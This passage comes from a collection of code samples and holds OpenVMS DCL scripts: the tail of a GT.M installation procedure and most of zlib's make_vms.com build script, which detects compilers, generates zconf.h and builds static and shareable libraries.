GTM$PCT_RTN\n$ IF GTM$INSTALL THEN VMI$CALLBACK SET POSTINSTALL YES\n$ IF GTM$RUN_IVP THEN VMI$CALLBACK SET IVP YES\n$ EXIT VMI$_SUCCESS\n$!\n$POSTINSTALL:\n$ ON CONTROL_Y THEN EXIT VMI$_FAILURE\n$! remove MUPIP from command tables for change from V2.4 to V2.5\n$ SET NOON\n$ DEFINE /USER_MODE SYS$OUTPUT NL:\n$ DEFINE /USER_MODE SYS$ERROR NL:\n$ SET COMMAND /TABLE=SYS$COMMON:[SYSLIB]DCLTABLES /OUTPUT=SYS$COMMON:[SYSLIB]DCLTABLES /DELETE=MUPIP\n$ DEFINE /USER_MODE SYS$OUTPUT NL:\n$ DEFINE /USER_MODE SYS$ERROR NL:\n$ SET COMMAND /DELETE=MUPIP\n$ SET ON\n$ IF GTM$MGR_COM\n$  THEN\n$   T1 := SYS$MANAGER:\n$  ELSE\n$   T1 = GTM$DST_LOG\n$ ENDIF\n$ @'T1'GTMSTART\n$ @'T1'GTMLOGIN\n$ ON CONTROL_Y THEN EXIT VMI$_FAILURE\n$ SET DEFAULT GTM$DIST\n$ T2 = F$ENVIRONMENT(\"PROTECTION\")\n$ SET PROTECTION=(S=REWD,O=REWD,G=REWD,W=RE)/DEFAULT\n$ MUMPS GTM$DMOD.M\n$ IF GTM$LNK_LOG\n$  THEN\n$   T1 :=\n$  ELSE\n$   T1 :=,GTMLIB.OLB/LIB,GTMSHR.OLB/LIB\n$ ENDIF\n$ LINK GTM$DMOD.OBJ/NOTRACE'T1\n$ IF GTM$PCT_RTN\n$  THEN\n$   TYPE SYS$INPUT\n\n  Compiling the GT.M percent (%) routines.\n$   MUMPS *\n$   IF GTM$DOPURGE THEN PURGE *.*\n$   SET DEFAULT VMI$KWD\n$ ENDIF ! percent routines\n$ SET PROTECTION=('T2')/DEFAULT\n$ EXIT VMI$_SUCCESS\n$!\n$IVP:\n$!\tThe real Installation Verification Procedure.\n$ TYPE SYS$INPUT\n\n  GT.M  Installation Verification Procedure\n\n$!\tExtract the IVP .COM file from the text library.\n$ LIBRARIAN /EXTRACT=GTM$IVP /OUTPUT=GTM$IVP.COM\tGTM$IVP.TLB\n$ @GTM$IVP\n$ EXIT $STATUS\n$!\n"
  },
  {
    "path": "samples/DIGITAL Command Language/ghostpdl_zlib_make_vms.com",
    "content": "$! make libz under VMS written by\n$! Martin P.J. Zinser\n$!\n$! In case of problems with the install you might contact me at\n$! zinser@zinser.no-ip.info(preferred) or\n$! martin.zinser@eurexchange.com (work)\n$!\n$! Make procedure history for Zlib\n$!\n$!------------------------------------------------------------------------------\n$! Version history\n$! 0.01 20060120 First version to receive a number\n$! 0.02 20061008 Adapt to new Makefile.in\n$! 0.03 20091224 Add support for large file check\n$! 0.04 20100110 Add new gzclose, gzlib, gzread, gzwrite\n$! 0.05 20100221 Exchange zlibdefs.h by zconf.h.in\n$! 0.06 20120111 Fix missing amiss_err, update zconf_h.in, fix new exmples\n$!               subdir path, update module search in makefile.in\n$! 0.07 20120115 Triggered by work done by Alexey Chupahin completly redesigned\n$!               shared image creation\n$! 0.08 20120219 Make it work on VAX again, pre-load missing symbols to shared\n$!               image\n$! 0.09 20120305 SMS.  P1 sets builder (\"MMK\", \"MMS\", \" \" (built-in)).\n$!               \"\" -> automatic, preference: MMK, MMS, built-in.\n$!\n$ on error then goto err_exit\n$!\n$ true  = 1\n$ false = 0\n$ tmpnam = \"temp_\" + f$getjpi(\"\",\"pid\")\n$ tt = tmpnam + \".txt\"\n$ tc = tmpnam + \".c\"\n$ th = tmpnam + \".h\"\n$ define/nolog tconfig 'th'\n$ its_decc = false\n$ its_vaxc = false\n$ its_gnuc = false\n$ s_case   = False\n$!\n$! Setup variables holding \"config\" information\n$!\n$ Make    = \"''p1'\"\n$ name     = \"Zlib\"\n$ version  = \"?.?.?\"\n$ v_string = \"ZLIB_VERSION\"\n$ v_file   = \"zlib.h\"\n$ ccopt   = \"/include = []\"\n$ lopts   = \"\"\n$ dnsrl   = \"\"\n$ aconf_in_file = \"zconf.h.in#zconf.h_in#zconf_h.in\"\n$ conf_check_string = \"\"\n$ linkonly = false\n$ optfile  = name + \".opt\"\n$ mapfile  = name + \".map\"\n$ libdefs  = \"\"\n$ vax      = f$getsyi(\"HW_MODEL\").lt.1024\n$ axp      = f$getsyi(\"HW_MODEL\").ge.1024 .and. f$getsyi(\"HW_MODEL\").lt.4096\n$ ia64     = f$getsyi(\"HW_MODEL\").ge.4096\n$!\n$! 2012-03-05 SMS.\n$! Why is this needed?  And if it is needed, why not simply \".not. vax\"?\n$!\n$!!! if axp .or. ia64 then  set proc/parse=extended\n$!\n$ whoami = f$parse(f$environment(\"Procedure\"),,,,\"NO_CONCEAL\")\n$ mydef  = F$parse(whoami,,,\"DEVICE\")\n$ mydir  = f$parse(whoami,,,\"DIRECTORY\") - \"][\"\n$ myproc = f$parse(whoami,,,\"Name\") + f$parse(whoami,,,\"type\")\n$!\n$! Check for MMK/MMS\n$!\n$ if (Make .eqs. \"\")\n$ then\n$   If F$Search (\"Sys$System:MMS.EXE\") .nes. \"\" Then Make = \"MMS\"\n$   If F$Type (MMK) .eqs. \"STRING\" Then Make = \"MMK\"\n$ else\n$   Make = f$edit( Make, \"trim\")\n$ endif\n$!\n$ gosub find_version\n$!\n$  open/write topt tmp.opt\n$  open/write optf 'optfile'\n$!\n$ gosub check_opts\n$!\n$! Look for the compiler used\n$!\n$ gosub check_compiler\n$ close topt\n$ close optf\n$!\n$ if its_decc\n$ then\n$   ccopt = \"/prefix=all\" + ccopt\n$   if f$trnlnm(\"SYS\") .eqs. \"\"\n$   then\n$     if axp\n$     then\n$       define sys sys$library:\n$     else\n$       ccopt = \"/decc\" + ccopt\n$       define sys decc$library_include:\n$     endif\n$   endif\n$!\n$! 2012-03-05 SMS.\n$! Why /NAMES = AS_IS?  Why not simply \".not. vax\"?  And why not on VAX?\n$!\n$   if axp .or. ia64\n$   then\n$       ccopt = ccopt + \"/name=as_is/opt=(inline=speed)\"\n$       s_case = true\n$   endif\n$ endif\n$ if its_vaxc .or. its_gnuc\n$ then\n$    if f$trnlnm(\"SYS\").eqs.\"\" then define sys sys$library:\n$ endif\n$!\n$! Build a fake configure input header\n$!\n$ open/write conf_hin config.hin\n$ write conf_hin \"#undef _LARGEFILE64_SOURCE\"\n$ close conf_hin\n$!\n$!\n$ i = 0\n$FIND_ACONF:\n$ fname = f$element(i,\"#\",aconf_in_file)\n$ if fname .eqs. \"#\" then goto AMISS_ERR\n$ if f$search(fname) .eqs. \"\"\n$ then\n$   i = i + 1\n$   goto find_aconf\n$ endif\n$ open/read/err=aconf_err aconf_in 'fname'\n$ open/write aconf zconf.h\n$ACONF_LOOP:\n$ read/end_of_file=aconf_exit aconf_in line\n$ work = f$edit(line, \"compress,trim\")\n$ if f$extract(0,6,work) .nes. \"#undef\"\n$ then\n$   if f$extract(0,12,work) .nes. \"#cmakedefine\"\n$   then\n$       write aconf line\n$   endif\n$ else\n$   cdef = f$element(1,\" \",work)\n$   gosub check_config\n$ endif\n$ goto aconf_loop\n$ACONF_EXIT:\n$ write aconf \"\"\n$ write aconf \"/* VMS specifics added by make_vms.com: */\"\n$ write aconf \"#define VMS 1\"\n$ write aconf \"#include <unistd.h>\"\n$ write aconf \"#include <unixio.h>\"\n$ write aconf \"#ifdef _LARGEFILE\"\n$ write aconf \"# define off64_t __off64_t\"\n$ write aconf \"# define fopen64 fopen\"\n$ write aconf \"# define fseeko64 fseeko\"\n$ write aconf \"# define lseek64 lseek\"\n$ write aconf \"# define ftello64 ftell\"\n$ write aconf \"#endif\"\n$ write aconf \"#if !defined( __VAX) && (__CRTL_VER >= 70312000)\"\n$ write aconf \"# define HAVE_VSNPRINTF\"\n$ write aconf \"#endif\"\n$ close aconf_in\n$ close aconf\n$ if f$search(\"''th'\") .nes. \"\" then delete 'th';*\n$! Build the thing plain or with mms\n$!\n$ write sys$output \"Compiling Zlib sources ...\"\n$ if make.eqs.\"\"\n$ then\n$   if (f$search( \"example.obj;*\") .nes. \"\") then delete example.obj;*\n$   if (f$search( \"minigzip.obj;*\") .nes. \"\") then delete minigzip.obj;*\n$   CALL MAKE adler32.OBJ \"CC ''CCOPT' adler32\" -\n                adler32.c zlib.h zconf.h\n$   CALL MAKE compress.OBJ \"CC ''CCOPT' compress\" -\n                compress.c zlib.h zconf.h\n$   CALL MAKE crc32.OBJ \"CC ''CCOPT' crc32\" -\n                crc32.c zlib.h zconf.h\n$   CALL MAKE deflate.OBJ \"CC ''CCOPT' deflate\" -\n                deflate.c deflate.h zutil.h zlib.h zconf.h\n$   CALL MAKE gzclose.OBJ \"CC ''CCOPT' gzclose\" -\n                gzclose.c zutil.h zlib.h zconf.h\n$   CALL MAKE gzlib.OBJ \"CC ''CCOPT' gzlib\" -\n                gzlib.c zutil.h zlib.h zconf.h\n$   CALL MAKE gzread.OBJ \"CC ''CCOPT' gzread\" -\n                gzread.c zutil.h zlib.h zconf.h\n$   CALL MAKE gzwrite.OBJ \"CC ''CCOPT' gzwrite\" -\n                gzwrite.c zutil.h zlib.h zconf.h\n$   CALL MAKE infback.OBJ \"CC ''CCOPT' infback\" -\n                infback.c zutil.h inftrees.h inflate.h inffast.h inffixed.h\n$   CALL MAKE inffast.OBJ \"CC ''CCOPT' inffast\" -\n                inffast.c zutil.h zlib.h zconf.h inffast.h\n$   CALL MAKE inflate.OBJ \"CC ''CCOPT' inflate\" -\n                inflate.c zutil.h zlib.h zconf.h infblock.h\n$   CALL MAKE inftrees.OBJ \"CC ''CCOPT' inftrees\" -\n                inftrees.c zutil.h zlib.h zconf.h inftrees.h\n$   CALL MAKE trees.OBJ \"CC ''CCOPT' trees\" -\n                trees.c deflate.h zutil.h zlib.h zconf.h\n$   CALL MAKE uncompr.OBJ \"CC ''CCOPT' uncompr\" -\n                uncompr.c zlib.h zconf.h\n$   CALL MAKE zutil.OBJ \"CC ''CCOPT' zutil\" -\n                zutil.c zutil.h zlib.h zconf.h\n$   write sys$output \"Building Zlib ...\"\n$   CALL MAKE libz.OLB \"lib/crea libz.olb *.obj\" *.OBJ\n$   write sys$output \"Building example...\"\n$   CALL MAKE example.OBJ \"CC ''CCOPT' [.test]example\" -\n                [.test]example.c zlib.h zconf.h\n$   call make example.exe \"LINK example,libz.olb/lib\" example.obj libz.olb\n$   write sys$output \"Building minigzip...\"\n$   CALL MAKE minigzip.OBJ \"CC ''CCOPT' [.test]minigzip\" -\n              [.test]minigzip.c zlib.h zconf.h\n$   call make minigzip.exe -\n              \"LINK minigzip,libz.olb/lib\" -\n              minigzip.obj libz.olb\n$ else\n$   gosub crea_mms\n$   write sys$output \"Make ''name' ''version' with ''Make' \"\n$   'make'\n$ endif\n$!\n$! Create shareable image\n$!\n$ gosub crea_olist\n$ write sys$output \"Creating libzshr.exe\"\n$ call map_2_shopt 'mapfile' 'optfile'\n$ LINK_'lopts'/SHARE=libzshr.exe modules.opt/opt,'optfile'/opt\n$ write sys$output \"Zlib build completed\"\n$ delete/nolog tmp.opt;*\n$ exit\n$AMISS_ERR:\n$ write sys$output \"No source for config.hin found.\"\n$ write sys$output \"Tried any of ''aconf_in_file'\"\n$ goto err_exit\n$CC_ERR:\n$ write sys$output \"C compiler required to build ''name'\"\n$ goto err_exit\n$ERR_EXIT:\n$ set message/facil/ident/sever/text\n$ close/nolog optf\n$ close/nolog topt\n$ close/nolog aconf_in\n$ close/nolog aconf\n$ close/nolog out\n$ close/nolog min\n$ close/nolog mod\n$ close/nolog h_in\n$ write sys$output \"Exiting...\"\n$ exit 2\n$!\n$!\n$MAKE: SUBROUTINE   !SUBROUTINE TO CHECK DEPENDENCIES\n$ V = 'F$Verify(0)\n$! P1 = What we are trying to make\n$! P2 = Command to make it\n$! P3 - P8  What it depends on\n$\n$ If F$Search(P1) .Eqs. \"\" Then Goto Makeit\n$ Time = F$CvTime(F$File(P1,\"RDT\"))\n$arg=3\n$Loop:\n$       Argument = P'arg\n$       If Argument .Eqs. \"\" Then Goto Exit\n$       El=0\n$Loop2:\n$       File = F$Element(El,\" \",Argument)\n$       If File .Eqs. \" \" Then Goto Endl\n$       AFile = \"\"\n$Loop3:\n$       OFile = AFile\n$       AFile = F$Search(File)\n$       If AFile .Eqs. \"\" .Or. AFile .Eqs. OFile Then Goto NextEl\n$       If F$CvTime(F$File(AFile,\"RDT\")) .Ges. Time Then Goto Makeit\n$       Goto Loop3\n$NextEL:\n$       El = El + 1\n$       Goto Loop2\n$EndL:\n$ arg=arg+1\n$ If arg .Le. 8 Then Goto Loop\n$ Goto Exit\n$\n$Makeit:\n$ VV=F$VERIFY(0)\n$ write sys$output P2\n$ 'P2\n$ VV='F$Verify(VV)\n$Exit:\n$ If V Then Set Verify\n$ENDSUBROUTINE\n$!------------------------------------------------------------------------------\n$!\n$! Check command line options and set symbols accordingly\n$!\n$!------------------------------------------------------------------------------\n$! Version history\n$! 0.01 20041206 First version to receive a number\n$! 0.02 20060126 Add new \"HELP\" target\n$ CHECK_OPTS:\n$ i = 1\n$ OPT_LOOP:\n$ if i .lt. 9\n$ then\n$   cparm = f$edit(p'i',\"upcase\")\n$!\n$! Check if parameter actually contains something\n$!\n$   if f$edit(cparm,\"trim\") .nes. \"\"\n$   then\n$     if cparm .eqs. \"DEBUG\"\n$     then\n$       ccopt = ccopt + \"/noopt/deb\"\n$       lopts = lopts + \"/deb\"\n$     endif\n$     if f$locate(\"CCOPT=\",cparm) .lt. f$length(cparm)\n$     then\n$       start = f$locate(\"=\",cparm) + 1\n$       len   = f$length(cparm) - start\n$       ccopt = ccopt + f$extract(start,len,cparm)\n$       if f$locate(\"AS_IS\",f$edit(ccopt,\"UPCASE\")) .lt. f$length(ccopt) -\n          then s_case = true\n$     endif\n$     if cparm .eqs. \"LINK\" then linkonly = true\n$     if f$locate(\"LOPTS=\",cparm) .lt. f$length(cparm)\n$     then\n$       start = f$locate(\"=\",cparm) + 1\n$       len   = f$length(cparm) - start\n$       lopts = lopts + f$extract(start,len,cparm)\n$     endif\n$     if f$locate(\"CC=\",cparm) .lt. f$length(cparm)\n$     then\n$       start  = f$locate(\"=\",cparm) + 1\n$       len    = f$length(cparm) - start\n$       cc_com = f$extract(start,len,cparm)\n        if (cc_com .nes. \"DECC\") .and. -\n           (cc_com .nes. \"VAXC\") .and. -\n           (cc_com .nes. \"GNUC\")\n$       then\n$         write sys$output \"Unsupported compiler choice ''cc_com' ignored\"\n$         write sys$output \"Use DECC, VAXC, or GNUC instead\"\n$       else\n$         if cc_com .eqs. \"DECC\" then its_decc = true\n$         if cc_com .eqs. \"VAXC\" then its_vaxc = true\n$         if cc_com .eqs. \"GNUC\" then its_gnuc = true\n$       endif\n$     endif\n$     if f$locate(\"MAKE=\",cparm) .lt. f$length(cparm)\n$     then\n$       start  = f$locate(\"=\",cparm) + 1\n$       len    = f$length(cparm) - start\n$       mmks = f$extract(start,len,cparm)\n$       if (mmks .eqs. \"MMK\") .or. (mmks .eqs. \"MMS\")\n$       then\n$         make = mmks\n$       else\n$         write sys$output \"Unsupported make choice ''mmks' ignored\"\n$         write sys$output \"Use MMK or MMS instead\"\n$       endif\n$     endif\n$     if cparm .eqs. \"HELP\" then gosub bhelp\n$   endif\n$   i = i + 1\n$   goto opt_loop\n$ endif\n$ return\n$!------------------------------------------------------------------------------\n$!\n$! Look for the compiler used\n$!\n$! Version history\n$! 0.01 20040223 First version to receive a number\n$! 0.02 20040229 Save/set value of decc$no_rooted_search_lists\n$! 0.03 20060202 Extend handling of GNU C\n$! 0.04 20090402 Compaq -> hp\n$CHECK_COMPILER:\n$ if (.not. (its_decc .or. its_vaxc .or. its_gnuc))\n$ then\n$   its_decc = (f$search(\"SYS$SYSTEM:DECC$COMPILER.EXE\") .nes. \"\")\n$   its_vaxc = .not. its_decc .and. (F$Search(\"SYS$System:VAXC.Exe\") .nes. \"\")\n$   its_gnuc = .not. (its_decc .or. its_vaxc) .and. (f$trnlnm(\"gnu_cc\") .nes. \"\")\n$ endif\n$!\n$! Exit if no compiler available\n$!\n$ if (.not. (its_decc .or. its_vaxc .or. its_gnuc))\n$ then goto CC_ERR\n$ else\n$   if its_decc\n$   then\n$     write sys$output \"CC compiler check ... hp C\"\n$     if f$trnlnm(\"decc$no_rooted_search_lists\") .nes. \"\"\n$     then\n$       dnrsl = f$trnlnm(\"decc$no_rooted_search_lists\")\n$     endif\n$     define/nolog decc$no_rooted_search_lists 1\n$   else\n$     if its_vaxc then write sys$output \"CC compiler check ... VAX C\"\n$     if its_gnuc\n$     then\n$         write sys$output \"CC compiler check ... GNU C\"\n$         if f$trnlnm(topt) then write topt \"gnu_cc:[000000]gcclib.olb/lib\"\n$         if f$trnlnm(optf) then write optf \"gnu_cc:[000000]gcclib.olb/lib\"\n$         cc = \"gcc\"\n$     endif\n$     if f$trnlnm(topt) then write topt \"sys$share:vaxcrtl.exe/share\"\n$     if f$trnlnm(optf) then write optf \"sys$share:vaxcrtl.exe/share\"\n$   endif\n$ endif\n$ return\n$!------------------------------------------------------------------------------\n$!\n$! If MMS/MMK are available dump out the descrip.mms if required\n$!\n$CREA_MMS:\n$ write sys$output \"Creating descrip.mms...\"\n$ create descrip.mms\n$ open/append out descrip.mms\n$ copy sys$input: out\n$ deck\n# descrip.mms: MMS description file for building zlib on VMS\n# written by Martin P.J. Zinser\n# <zinser@zinser.no-ip.info or martin.zinser@eurexchange.com>\n\nOBJS = adler32.obj, compress.obj, crc32.obj, gzclose.obj, gzlib.obj\\\n       gzread.obj, gzwrite.obj, uncompr.obj, infback.obj\\\n       deflate.obj, trees.obj, zutil.obj, inflate.obj, \\\n       inftrees.obj, inffast.obj\n\n$ eod\n$ write out \"CFLAGS=\", ccopt\n$ write out \"LOPTS=\", lopts\n$ write out \"all : example.exe minigzip.exe libz.olb\"\n$ copy sys$input: out\n$ deck\n        @ write sys$output \" Example applications available\"\n\nlibz.olb : libz.olb($(OBJS))\n\t@ write sys$output \" libz available\"\n\nexample.exe : example.obj libz.olb\n              link $(LOPTS) example,libz.olb/lib\n\nminigzip.exe : minigzip.obj libz.olb\n              link $(LOPTS) minigzip,libz.olb/lib\n\nclean :\n\tdelete *.obj;*,libz.olb;*,*.opt;*,*.exe;*\n\n\n# Other dependencies.\nadler32.obj  : adler32.c zutil.h zlib.h zconf.h\ncompress.obj : compress.c zlib.h zconf.h\ncrc32.obj    : crc32.c zutil.h zlib.h zconf.h\ndeflate.obj  : deflate.c deflate.h zutil.h zlib.h zconf.h\nexample.obj  : [.test]example.c zlib.h zconf.h\ngzclose.obj  : gzclose.c zutil.h zlib.h zconf.h\ngzlib.obj    : gzlib.c zutil.h zlib.h zconf.h\ngzread.obj   : gzread.c zutil.h zlib.h zconf.h\ngzwrite.obj  : gzwrite.c zutil.h zlib.h zconf.h\ninffast.obj  : inffast.c zutil.h zlib.h zconf.h inftrees.h inffast.h\ninflate.obj  : inflate.c zutil.h zlib.h zconf.h\ninftrees.obj : inftrees.c zutil.h zlib.h zconf.h inftrees.h\nminigzip.obj : [.test]minigzip.c zlib.h zconf.h\ntrees.obj    : trees.c deflate.h zutil.h zlib.h zconf.h\nuncompr.obj  : uncompr.c zlib.h zconf.h\nzutil.obj    : zutil.c zutil.h zlib.h zconf.h\ninfback.obj  : infback.c zutil.h inftrees.h inflate.h inffast.h inffixed.h\n$ eod\n$ close out\n$ return\n$!------------------------------------------------------------------------------\n$!\n$! Read list of core library sources from makefile.in and create options\n$! needed to build shareable image\n$!\n$CREA_OLIST:\n$ open/read min makefile.in\n$ open/write mod modules.opt\n$ src_check_list = \"OBJZ =#OBJG =\"\n$MRLOOP:\n$ read/end=mrdone min rec\n$ i = 0\n$SRC_CHECK_LOOP:\n$ src_check = f$element(i, \"#\", src_check_list)\n$ i = i+1\n$ if src_check .eqs. \"#\" then goto mrloop\n$ if (f$extract(0,6,rec) .nes. src_check) then goto src_check_loop\n$ rec = rec - src_check\n$ gosub extra_filnam\n$ if (f$element(1,\"\\\",rec) .eqs. \"\\\") then goto mrloop\n$MRSLOOP:\n$ read/end=mrdone min rec\n$ gosub extra_filnam\n$ if (f$element(1,\"\\\",rec) .nes. \"\\\") then goto mrsloop\n$MRDONE:\n$ close min\n$ close mod\n$ return\n$!------------------------------------------------------------------------------\n$!\n$! Take record extracted in crea_olist and split it into single filenames\n$!\n$EXTRA_FILNAM:\n$ myrec = f$edit(rec - \"\\\", \"trim,compress\")\n$ i = 0\n$FELOOP:\n$ srcfil = f$element(i,\" \", myrec)\n$ if (srcfil .nes. \" \")\n$ then\n$   write mod f$parse(srcfil,,,\"NAME\"), \".obj\"\n$   i = i + 1\n$   goto feloop\n$ endif\n$ return\n$!------------------------------------------------------------------------------\n$!\n$! Find current Zlib version number\n$!\n$FIND_VERSION:\n$ open/read h_in 'v_file'\n$hloop:\n$ read/end=hdone h_in rec\n$ rec = f$edit(rec,\"TRIM\")\n$ if (f$extract(0,1,rec) .nes. \"#\") then goto hloop\n$ rec = f$edit(rec - \"#\", \"TRIM\")\n$ if f$element(0,\" \",rec) .nes. \"define\" then goto hloop\n$ if f$element(1,\" \",rec) .eqs. v_string\n$ then\n$   version = 'f$element(2,\" \",rec)'\n$   goto hdone\n$ endif\n$ goto hloop\n$hdone:\n$ close h_in\n$ return\n$!------------------------------------------------------------------------------\n$!\n$CHECK_CONFIG:\n$!\n$ in_ldef = f$locate(cdef,libdefs)\n$ if (in_ldef .lt. f$length(libdefs))\n$ then\n$   write aconf \"#define ''cdef' 1\"\n$   libdefs = f$extract(0,in_ldef,libdefs) + -\n              f$extract(in_ldef + f$length(cdef) + 1, -\n                        f$length(libdefs) - in_ldef - f$length(cdef) - 1, -\n                        libdefs)\n$ else\n$   if (f$type('cdef') .eqs. \"INTEGER\")\n$   then\n$     write aconf \"#define ''cdef' \", 'cdef'\n$   else\n$     if (f$type('cdef') .eqs. \"STRING\")\n$     then\n$       write aconf \"#define ''cdef' \", \"\"\"\", '''cdef'', \"\"\"\"\n$     else\n$       gosub check_cc_def\n$     endif\n$   endif\n$ endif\n$ return\n$!------------------------------------------------------------------------------\n$!\n$! Check if this is a define relating to the properties of the C/C++\n$! compiler\n$!\n$ CHECK_CC_DEF:\n$ if (cdef .eqs. \"_LARGEFILE64_SOURCE\")\n$ then\n$   copy sys$input: 'tc'\n$   deck\n#include \"tconfig\"\n#define _LARGEFILE\n#include <stdio.h>\n\nint main(){\nFILE *fp;\n  fp = fopen(\"temp.txt\",\"r\");\n  fseeko(fp,1,SEEK_SET);\n  fclose(fp);\n}\n\n$   eod\n$   test_inv = false\n$   comm_h = false\n$   gosub cc_prop_check\n$   return\n$ endif\n$ write aconf \"/* \", line, \" */\"\n$ return\n$!------------------------------------------------------------------------------\n$!\n$! Check for properties of C/C++ compiler\n$!\n$! Version history\n$! 0.01 20031020 First version to receive a number\n$! 0.02 20031022 Added logic for defines with value\n$! 0.03 20040309 Make sure local config file gets not deleted\n$! 0.04 20041230 Also write include for configure run\n$! 0.05 20050103 Add processing of \"comment defines\"\n$CC_PROP_CHECK:\n$ cc_prop = true\n$ is_need = false\n$ is_need = (f$extract(0,4,cdef) .eqs. \"NEED\") .or. (test_inv .eq. true)\n$ if f$search(th) .eqs. \"\" then create 'th'\n$ set message/nofac/noident/nosever/notext\n$ on error then continue\n$ cc 'tmpnam'\n$ if .not. ($status)  then cc_prop = false\n$ on error then continue\n$! The headers might lie about the capabilities of the RTL\n$ link 'tmpnam',tmp.opt/opt\n$ if .not. ($status)  then cc_prop = false\n$ set message/fac/ident/sever/text\n$ on error then goto err_exit\n$ delete/nolog 'tmpnam'.*;*/exclude='th'\n$ if (cc_prop .and. .not. is_need) .or. -\n     (.not. cc_prop .and. is_need)\n$ then\n$   write sys$output \"Checking for ''cdef'... yes\"\n$   if f$type('cdef_val'_yes) .nes. \"\"\n$   then\n$     if f$type('cdef_val'_yes) .eqs. \"INTEGER\" -\n         then call write_config f$fao(\"#define !AS !UL\",cdef,'cdef_val'_yes)\n$     if f$type('cdef_val'_yes) .eqs. \"STRING\" -\n         then call write_config f$fao(\"#define !AS !AS\",cdef,'cdef_val'_yes)\n$   else\n$     call write_config f$fao(\"#define !AS 1\",cdef)\n$   endif\n$   if (cdef .eqs. \"HAVE_FSEEKO\") .or. (cdef .eqs. \"_LARGE_FILES\") .or. -\n       (cdef .eqs. \"_LARGEFILE64_SOURCE\") then -\n      call write_config f$string(\"#define _LARGEFILE 1\")\n$ else\n$   write sys$output \"Checking for ''cdef'... no\"\n$   if (comm_h)\n$   then\n      call write_config f$fao(\"/* !AS */\",line)\n$   else\n$     if f$type('cdef_val'_no) .nes. \"\"\n$     then\n$       if f$type('cdef_val'_no) .eqs. \"INTEGER\" -\n           then call write_config f$fao(\"#define !AS !UL\",cdef,'cdef_val'_no)\n$       if f$type('cdef_val'_no) .eqs. \"STRING\" -\n           then call write_config f$fao(\"#define !AS !AS\",cdef,'cdef_val'_no)\n$     else\n$       call write_config f$fao(\"#undef !AS\",cdef)\n$     endif\n$   endif\n$ endif\n$ return\n$!------------------------------------------------------------------------------\n$!\n$! Check for properties of C/C++ compiler with multiple result values\n$!\n$! Version history\n$! 0.01 20040127 First version\n$! 0.02 20050103 Reconcile changes from cc_prop up to version 0.05\n$CC_MPROP_CHECK:\n$ cc_prop = true\n$ i    = 1\n$ idel = 1\n$ MT_LOOP:\n$ if f$type(result_'i') .eqs. \"STRING\"\n$ then\n$   set message/nofac/noident/nosever/notext\n$   on error then continue\n$   cc 'tmpnam'_'i'\n$   if .not. ($status)  then cc_prop = false\n$   on error then continue\n$! The headers might lie about the capabilities of the RTL\n$   link 'tmpnam'_'i',tmp.opt/opt\n$   if .not. ($status)  then cc_prop = false\n$   set message/fac/ident/sever/text\n$   on error then goto err_exit\n$   delete/nolog 'tmpnam'_'i'.*;*\n$   if (cc_prop)\n$   then\n$     write sys$output \"Checking for ''cdef'... \", mdef_'i'\n$     if f$type(mdef_'i') .eqs. \"INTEGER\" -\n         then call write_config f$fao(\"#define !AS !UL\",cdef,mdef_'i')\n$     if f$type('cdef_val'_yes) .eqs. \"STRING\" -\n         then call write_config f$fao(\"#define !AS !AS\",cdef,mdef_'i')\n$     goto msym_clean\n$   else\n$     i = i + 1\n$     goto mt_loop\n$   endif\n$ endif\n$ write sys$output \"Checking for ''cdef'... no\"\n$ call write_config f$fao(\"#undef !AS\",cdef)\n$ MSYM_CLEAN:\n$ if (idel .le. msym_max)\n$ then\n$   delete/sym mdef_'idel'\n$   idel = idel + 1\n$   goto msym_clean\n$ endif\n$ return\n$!------------------------------------------------------------------------------\n$!\n$! Write configuration to both permanent and temporary config file\n$!\n$! Version history\n$! 0.01 20031029 First version to receive a number\n$!\n$WRITE_CONFIG: SUBROUTINE\n$  write aconf 'p1'\n$  open/append confh 'th'\n$  write confh 'p1'\n$  close confh\n$ENDSUBROUTINE\n$!------------------------------------------------------------------------------\n$!\n$! Analyze the project map file and create the symbol vector for a shareable\n$! image from it\n$!\n$! Version history\n$! 0.01 20120128 First version\n$! 0.02 20120226 Add pre-load logic\n$!\n$ MAP_2_SHOPT: Subroutine\n$!\n$ SAY := \"WRITE_ SYS$OUTPUT\"\n$!\n$ IF F$SEARCH(\"''P1'\") .EQS. \"\"\n$ THEN\n$    SAY \"MAP_2_SHOPT-E-NOSUCHFILE:  Error, inputfile ''p1' not available\"\n$    goto exit_m2s\n$ ENDIF\n$ IF \"''P2'\" .EQS. \"\"\n$ THEN\n$    SAY \"MAP_2_SHOPT:  Error, no output file provided\"\n$    goto exit_m2s\n$ ENDIF\n$!\n$ module1 = \"deflate#deflateEnd#deflateInit_#deflateParams#deflateSetDictionary\"\n$ module2 = \"gzclose#gzerror#gzgetc#gzgets#gzopen#gzprintf#gzputc#gzputs#gzread\"\n$ module3 = \"gzseek#gztell#inflate#inflateEnd#inflateInit_#inflateSetDictionary\"\n$ module4 = \"inflateSync#uncompress#zlibVersion#compress\"\n$ open/read map 'p1\n$ if axp .or. ia64\n$ then\n$     open/write aopt a.opt\n$     open/write bopt b.opt\n$     write aopt \" CASE_SENSITIVE=YES\"\n$     write bopt \"SYMBOL_VECTOR= (-\"\n$     mod_sym_num = 1\n$ MOD_SYM_LOOP:\n$     if f$type(module'mod_sym_num') .nes. \"\"\n$     then\n$         mod_in = 0\n$ MOD_SYM_IN:\n$         shared_proc = f$element(mod_in, \"#\", module'mod_sym_num')\n$         if shared_proc .nes. \"#\"\n$         then\n$             write aopt f$fao(\" symbol_vector=(!AS/!AS=PROCEDURE)\",-\n        \t\t       f$edit(shared_proc,\"upcase\"),shared_proc)\n$             write bopt f$fao(\"!AS=PROCEDURE,-\",shared_proc)\n$             mod_in = mod_in + 1\n$             goto mod_sym_in\n$         endif\n$         mod_sym_num = mod_sym_num + 1\n$         goto mod_sym_loop\n$     endif\n$MAP_LOOP:\n$     read/end=map_end map line\n$     if (f$locate(\"{\",line).lt. f$length(line)) .or. -\n         (f$locate(\"global:\", line) .lt. f$length(line))\n$     then\n$         proc = true\n$         goto map_loop\n$     endif\n$     if f$locate(\"}\",line).lt. f$length(line) then proc = false\n$     if f$locate(\"local:\", line) .lt. f$length(line) then proc = false\n$     if proc\n$     then\n$         shared_proc = f$edit(line,\"collapse\")\n$         chop_semi = f$locate(\";\", shared_proc)\n$         if chop_semi .lt. f$length(shared_proc) then -\n              shared_proc = f$extract(0, chop_semi, shared_proc)\n$         write aopt f$fao(\" symbol_vector=(!AS/!AS=PROCEDURE)\",-\n        \t\t\t f$edit(shared_proc,\"upcase\"),shared_proc)\n$         write bopt f$fao(\"!AS=PROCEDURE,-\",shared_proc)\n$     endif\n$     goto map_loop\n$MAP_END:\n$     close/nolog 